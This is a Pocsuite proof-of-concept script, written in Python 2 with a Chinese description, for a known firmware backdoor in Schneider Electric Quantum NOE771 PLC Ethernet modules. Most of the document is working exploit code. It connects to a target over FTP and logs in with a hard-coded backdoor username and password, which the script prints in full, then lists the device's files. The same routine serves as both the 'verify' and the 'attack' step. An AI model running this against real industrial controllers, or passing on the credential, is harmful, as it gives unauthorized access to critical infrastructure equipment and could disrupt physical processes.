施耐德(Schneider) PLC 以太网模块固件后门

                                                #!/usr/bin/env python
# -*- coding: utf-8 -*-

import ftplib
import urlparse
import socket
from pocsuite.poc import Output, POCBase
from pocsuite.utils import register


class POC(POCBase):
    vulID = '89384'  # vul ID
    version = '1'
    author = 'Wyc'
    vulDate = '2014-05-15'
    createDate = '2015-09-05'
    updateDate = '2015-09-09'
    references = ['http://sebug.net/vuldb/ssvid-89384']
    name = '施耐德(Schneider) PLC 以太网模块固件后门'
    appPowerLink = 'http://www.schneider-electric.cn/zh/product-range/538-modicon-quantum?xtmc=Quantum&xtcr=1'
    appName = 'Schneider Quantum NOE771'
    appVersion = 'unkown'
    vulType = 'backdoor'
    desc = '''
    Schneider Electric Quantum Ethernet模块对 (1) AUTCSE (2) AUT_CSE
    (3) fdrusers (4) ftpuser(5)loader(6)nic2212(7)nimrohs2212
    (8) nip2212(9)noe77111_v500(10) ntpupdate(11) pcfactory(12) sysdiag
    (13) target(14) test(15) USER和(16) webserver accounts使用了硬编码方式输入密码，使得远程攻击者可借助
    (a) TELNET(b) Windriver Debug或者(c) FTP端口获取访问。
    '''
    # the sample sites for examine

    def _verify(self):
        output = Output(self)
        result = {}
        target = socket.gethostbyname(urlparse.urlsplit(self.url)[1])

        try:
            ftp = ftplib.FTP(timeout=5)
            ret = ftp.connect(host=target, port=21, timeout=5)
            welcome = ftp.connect(host=target, port=21, timeout=5)
            login = ftp.login(user='sysdiag', passwd='factorycast@schneider')
            ls = ftp.nlst()

            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url

            output.success(result)
        except Exception, err:
            output.fail('Internet Nothing returned')

        return output

    def _attack(self):
        return self._verify()


register(POC)